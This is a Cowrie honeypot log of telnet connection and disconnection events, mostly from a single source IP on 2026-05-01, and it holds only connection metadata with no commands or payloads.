{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":46642,"dst_ip":"159.203.135.109","dst_port":23,"session":"cd0db06bb7ed","protocol":"telnet","message":"New connection: 194.163.135.148:46642 (159.203.135.109:23) [session: cd0db06bb7ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:47:59.926224Z"}
{"eventid":"cowrie.session.closed","duration":35.451091051101685,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:48:00.951626Z","src_ip":"194.163.135.148","session":"4914100a7944","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":46696,"dst_ip":"159.203.135.109","dst_port":23,"session":"8f9f9f443e2a","protocol":"telnet","message":"New connection: 194.163.135.148:46696 (159.203.135.109:23) [session: 8f9f9f443e2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:48:02.656623Z"}
{"eventid":"cowrie.session.closed","duration":31.803380727767944,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:48:03.309160Z","src_ip":"194.163.135.148","session":"91ad52d8a675","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":46710,"dst_ip":"159.203.135.109","dst_port":23,"session":"e62f012e9ac1","protocol":"telnet","message":"New connection: 194.163.135.148:46710 (159.203.135.109:23) [session: e62f012e9ac1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:48:04.299705Z"}
{"eventid":"cowrie.session.closed","duration":32.11961650848389,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:48:06.973715Z","src_ip":"194.163.135.148","session":"ec4f021e9c60","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":46740,"dst_ip":"159.203.135.109","dst_port":23,"session":"a31041729387","protocol":"telnet","message":"New connection: 194.163.135.148:46740 (159.203.135.109:23) [session: a31041729387]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:48:08.015102Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":46742,"dst_ip":"159.203.135.109","dst_port":23,"session":"8efc06984c1d","protocol":"telnet","message":"New connection: 194.163.135.148:46742 (159.203.135.109:23) [session: 8efc06984c1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:48:08.518508Z"}
{"eventid":"cowrie.session.closed","duration":39.50232791900635,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:48:09.235257Z","src_ip":"103.115.172.252","session":"2897bbfe4482","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":46754,"dst_ip":"159.203.135.109","dst_port":23,"session":"a994596273b6","protocol":"telnet","message":"New connection: 194.163.135.148:46754 (159.203.135.109:23) [session: a994596273b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:48:09.785381Z"}
{"eventid":"cowrie.session.closed","duration":33.77146887779236,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:48:10.121554Z","src_ip":"194.163.135.148","session":"e55912296c1c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":46760,"dst_ip":"159.203.135.109","dst_port":23,"session":"95b39febc725","protocol":"telnet","message":"New connection: 194.163.135.148:46760 (159.203.135.109:23) [session: 95b39febc725]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:48:10.682977Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":46766,"dst_ip":"159.203.135.109","dst_port":23,"session":"03e70964afdf","protocol":"telnet","message":"New connection: 194.163.135.148:46766 (159.203.135.109:23) [session: 03e70964afdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:48:10.954620Z"}
{"eventid":"cowrie.session.closed","duration":34.65422821044922,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:48:15.563871Z","src_ip":"194.163.135.148","session":"4fa9acf8cb51","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.52539801597595,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:48:15.703282Z","src_ip":"194.163.135.148","session":"1c935e380ebc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.43646788597107,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:48:16.653677Z","src_ip":"194.163.135.148","session":"f017d0059e5e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":46812,"dst_ip":"159.203.135.109","dst_port":23,"session":"75232f0beb82","protocol":"telnet","message":"New connection: 194.163.135.148:46812 (159.203.135.109:23) [session: 75232f0beb82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:48:16.795447Z"}
{"eventid":"cowrie.session.closed","duration":34.26387929916382,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:48:16.908079Z","src_ip":"194.163.135.148","session":"ef783ff5671b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":46814,"dst_ip":"159.203.135.109","dst_port":23,"session":"c4cc625b3034","protocol":"telnet","message":"New connection: 194.163.135.148:46814 (159.203.135.109:23) [session: c4cc625b3034]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:48:17.511582Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":46842,"dst_ip":"159.203.135.109","dst_port":23,"session":"4e3c5e140034","protocol":"telnet","message":"New connection: 194.163.135.148:46842 (159.203.135.109:23) [session: 4e3c5e140034]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:48:20.178500Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":46846,"dst_ip":"159.203.135.109","dst_port":23,"session":"6d9fddf3a175","protocol":"telnet","message":"New connection: 194.163.135.148:46846 (159.203.135.109:23) [session: 6d9fddf3a175]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:48:20.570238Z"}
{"eventid":"cowrie.session.closed","duration":32.93182134628296,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:48:21.275145Z","src_ip":"194.163.135.148","session":"9550247c6572","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":46860,"dst_ip":"159.203.135.109","dst_port":23,"session":"d85a11f16b46","protocol":"telnet","message":"New connection: 194.163.135.148:46860 (159.203.135.109:23) [session: d85a11f16b46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:48:21.507381Z"}
{"eventid":"cowrie.session.closed","duration":34.63563561439514,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:48:21.514143Z","src_ip":"194.163.135.148","session":"1450f5a4b31a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":46864,"dst_ip":"159.203.135.109","dst_port":23,"session":"ebf2cfe45e0e","protocol":"telnet","message":"New connection: 194.163.135.148:46864 (159.203.135.109:23) [session: ebf2cfe45e0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:48:22.385280Z"}
{"eventid":"cowrie.session.closed","duration":35.374900102615356,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:48:22.439761Z","src_ip":"194.163.135.148","session":"e90d084604ca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":46882,"dst_ip":"159.203.135.109","dst_port":23,"session":"e523823a7446","protocol":"telnet","message":"New connection: 194.163.135.148:46882 (159.203.135.109:23) [session: e523823a7446]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:48:23.885323Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":46884,"dst_ip":"159.203.135.109","dst_port":23,"session":"dbf095ddc7a4","protocol":"telnet","message":"New connection: 194.163.135.148:46884 (159.203.135.109:23) [session: dbf095ddc7a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:48:24.646476Z"}
{"eventid":"cowrie.session.closed","duration":35.604066610336304,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:48:24.857809Z","src_ip":"194.163.135.148","session":"b5dca373cfa6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":46906,"dst_ip":"159.203.135.109","dst_port":23,"session":"f285b7f3d60c","protocol":"telnet","message":"New connection: 194.163.135.148:46906 (159.203.135.109:23) [session: f285b7f3d60c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:48:26.049172Z"}
{"eventid":"cowrie.session.closed","duration":35.8932147026062,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:48:28.603981Z","src_ip":"194.163.135.148","session":"da8f58bf9153","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":46940,"dst_ip":"159.203.135.109","dst_port":23,"session":"c52518f58528","protocol":"telnet","message":"New connection: 194.163.135.148:46940 (159.203.135.109:23) [session: c52518f58528]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:48:29.828606Z"}
{"eventid":"cowrie.session.closed","duration":35.07003831863403,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:48:30.206626Z","src_ip":"194.163.135.148","session":"e7ac6b2cd5d9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.055896520614624,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:48:30.331479Z","src_ip":"194.163.135.148","session":"128284514a25","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.06940579414368,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:48:31.400229Z","src_ip":"194.163.135.148","session":"8175967e5e28","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.41314458847046,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:48:31.419394Z","src_ip":"194.163.135.148","session":"807c7293f885","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.99101996421814,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:48:31.456592Z","src_ip":"194.163.135.148","session":"eeeb5e23308b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.59213399887085,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:48:31.568637Z","src_ip":"194.163.135.148","session":"f05ba9be1017","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":46960,"dst_ip":"159.203.135.109","dst_port":23,"session":"83da23af82b6","protocol":"telnet","message":"New connection: 194.163.135.148:46960 (159.203.135.109:23) [session: 83da23af82b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:48:31.894889Z"}
{"eventid":"cowrie.session.closed","duration":35.40511679649353,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:48:32.058555Z","src_ip":"194.163.135.148","session":"f2ef75eb69b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":46982,"dst_ip":"159.203.135.109","dst_port":23,"session":"b2bff651333a","protocol":"telnet","message":"New connection: 194.163.135.148:46982 (159.203.135.109:23) [session: b2bff651333a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:48:34.303369Z"}
{"eventid":"cowrie.session.closed","duration":35.54934048652649,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:48:35.475424Z","src_ip":"194.163.135.148","session":"cd0db06bb7ed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":47008,"dst_ip":"159.203.135.109","dst_port":23,"session":"581571ecfb7a","protocol":"telnet","message":"New connection: 194.163.135.148:47008 (159.203.135.109:23) [session: 581571ecfb7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:48:36.559547Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":47016,"dst_ip":"159.203.135.109","dst_port":23,"session":"55f47ecd2892","protocol":"telnet","message":"New connection: 194.163.135.148:47016 (159.203.135.109:23) [session: 55f47ecd2892]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:48:37.195004Z"}
{"eventid":"cowrie.session.closed","duration":34.98300862312317,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:48:37.639537Z","src_ip":"194.163.135.148","session":"8f9f9f443e2a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.51962614059448,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:48:37.819203Z","src_ip":"194.163.135.148","session":"e62f012e9ac1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":47022,"dst_ip":"159.203.135.109","dst_port":23,"session":"6d8f3e6cb1e6","protocol":"telnet","message":"New connection: 194.163.135.148:47022 (159.203.135.109:23) [session: 6d8f3e6cb1e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:48:38.688381Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":47038,"dst_ip":"159.203.135.109","dst_port":23,"session":"68bfaf1ee4e3","protocol":"telnet","message":"New connection: 194.163.135.148:47038 (159.203.135.109:23) [session: 68bfaf1ee4e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:48:39.698419Z"}
{"eventid":"cowrie.session.closed","duration":32.605358839035034,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:48:40.620317Z","src_ip":"194.163.135.148","session":"a31041729387","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":47066,"dst_ip":"159.203.135.109","dst_port":23,"session":"4d70c4aaebb0","protocol":"telnet","message":"New connection: 194.163.135.148:47066 (159.203.135.109:23) [session: 4d70c4aaebb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:48:41.938994Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":47068,"dst_ip":"159.203.135.109","dst_port":23,"session":"cff67ceb6cd7","protocol":"telnet","message":"New connection: 194.163.135.148:47068 (159.203.135.109:23) [session: cff67ceb6cd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:48:42.323128Z"}
{"eventid":"cowrie.session.closed","duration":33.92852711677551,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:48:42.446890Z","src_ip":"194.163.135.148","session":"8efc06984c1d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.766998529434204,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:48:42.721507Z","src_ip":"194.163.135.148","session":"03e70964afdf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":47084,"dst_ip":"159.203.135.109","dst_port":23,"session":"4615f8990ebb","protocol":"telnet","message":"New connection: 194.163.135.148:47084 (159.203.135.109:23) [session: 4615f8990ebb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:48:43.452381Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":47108,"dst_ip":"159.203.135.109","dst_port":23,"session":"53e0484a8e20","protocol":"telnet","message":"New connection: 194.163.135.148:47108 (159.203.135.109:23) [session: 53e0484a8e20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:48:45.137374Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":47124,"dst_ip":"159.203.135.109","dst_port":23,"session":"ae16871293c9","protocol":"telnet","message":"New connection: 194.163.135.148:47124 (159.203.135.109:23) [session: ae16871293c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:48:46.150204Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":47130,"dst_ip":"159.203.135.109","dst_port":23,"session":"6ecb9f6074d0","protocol":"telnet","message":"New connection: 194.163.135.148:47130 (159.203.135.109:23) [session: 6ecb9f6074d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:48:46.474669Z"}
{"eventid":"cowrie.session.closed","duration":35.90081262588501,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:48:46.583660Z","src_ip":"194.163.135.148","session":"95b39febc725","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":47144,"dst_ip":"159.203.135.109","dst_port":23,"session":"fe3e3588a073","protocol":"telnet","message":"New connection: 194.163.135.148:47144 (159.203.135.109:23) [session: fe3e3588a073]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:48:47.224780Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":47146,"dst_ip":"159.203.135.109","dst_port":23,"session":"2e539a97ecce","protocol":"telnet","message":"New connection: 194.163.135.148:47146 (159.203.135.109:23) [session: 2e539a97ecce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:48:47.283749Z"}
{"eventid":"cowrie.session.closed","duration":37.574294328689575,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:48:47.359537Z","src_ip":"194.163.135.148","session":"a994596273b6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":47142,"dst_ip":"159.203.135.109","dst_port":23,"session":"a34aea57f596","protocol":"telnet","message":"New connection: 194.163.135.148:47142 (159.203.135.109:23) [session: a34aea57f596]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:48:48.020436Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":47158,"dst_ip":"159.203.135.109","dst_port":23,"session":"a137579dcdd3","protocol":"telnet","message":"New connection: 194.163.135.148:47158 (159.203.135.109:23) [session: a137579dcdd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:48:48.522407Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":47160,"dst_ip":"159.203.135.109","dst_port":23,"session":"48c1c3459531","protocol":"telnet","message":"New connection: 194.163.135.148:47160 (159.203.135.109:23) [session: 48c1c3459531]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:48:48.543485Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":39960,"dst_ip":"10.17.0.5","dst_port":23,"session":"c5096467638f","protocol":"telnet","message":"New connection: 103.115.172.252:39960 (10.17.0.5:23) [session: c5096467638f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:48:48.728023Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":47164,"dst_ip":"159.203.135.109","dst_port":23,"session":"a2cce4068183","protocol":"telnet","message":"New connection: 194.163.135.148:47164 (159.203.135.109:23) [session: a2cce4068183]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:48:48.984113Z"}
{"eventid":"cowrie.session.closed","duration":32.21431875228882,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:48:49.009645Z","src_ip":"194.163.135.148","session":"75232f0beb82","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":47190,"dst_ip":"159.203.135.109","dst_port":23,"session":"ebe3b00930b9","protocol":"telnet","message":"New connection: 194.163.135.148:47190 (159.203.135.109:23) [session: ebe3b00930b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:48:51.471335Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":47192,"dst_ip":"159.203.135.109","dst_port":23,"session":"8b765d9e4d26","protocol":"telnet","message":"New connection: 194.163.135.148:47192 (159.203.135.109:23) [session: 8b765d9e4d26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:48:51.574642Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":47194,"dst_ip":"159.203.135.109","dst_port":23,"session":"1c73746fe30d","protocol":"telnet","message":"New connection: 194.163.135.148:47194 (159.203.135.109:23) [session: 1c73746fe30d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:48:52.633879Z"}
{"eventid":"cowrie.session.closed","duration":36.295884132385254,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:48:53.807348Z","src_ip":"194.163.135.148","session":"c4cc625b3034","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.36095833778381,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:48:55.539311Z","src_ip":"194.163.135.148","session":"4e3c5e140034","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.1570508480072,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:48:55.727179Z","src_ip":"194.163.135.148","session":"6d9fddf3a175","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":47254,"dst_ip":"159.203.135.109","dst_port":23,"session":"22cfd18fd74d","protocol":"telnet","message":"New connection: 194.163.135.148:47254 (159.203.135.109:23) [session: 22cfd18fd74d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:48:56.323164Z"}
{"eventid":"cowrie.session.closed","duration":34.51409649848938,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:48:56.898973Z","src_ip":"194.163.135.148","session":"ebf2cfe45e0e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.088884592056274,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:48:56.974109Z","src_ip":"194.163.135.148","session":"e523823a7446","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":47246,"dst_ip":"159.203.135.109","dst_port":23,"session":"8ce6246d8873","protocol":"telnet","message":"New connection: 194.163.135.148:47246 (159.203.135.109:23) [session: 8ce6246d8873]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:48:57.787293Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":42976,"dst_ip":"10.17.0.5","dst_port":23,"session":"57bf27a251f2","protocol":"telnet","message":"New connection: 103.115.172.252:42976 (10.17.0.5:23) [session: 57bf27a251f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:48:58.475331Z"}
{"eventid":"cowrie.session.closed","duration":35.093021392822266,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:48:59.739367Z","src_ip":"194.163.135.148","session":"dbf095ddc7a4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":47296,"dst_ip":"159.203.135.109","dst_port":23,"session":"c3437fc7a757","protocol":"telnet","message":"New connection: 194.163.135.148:47296 (159.203.135.109:23) [session: c3437fc7a757]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:49:00.063348Z"}
{"eventid":"cowrie.session.closed","duration":34.14320635795593,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:49:00.192014Z","src_ip":"194.163.135.148","session":"f285b7f3d60c","protocol":"telnet"}
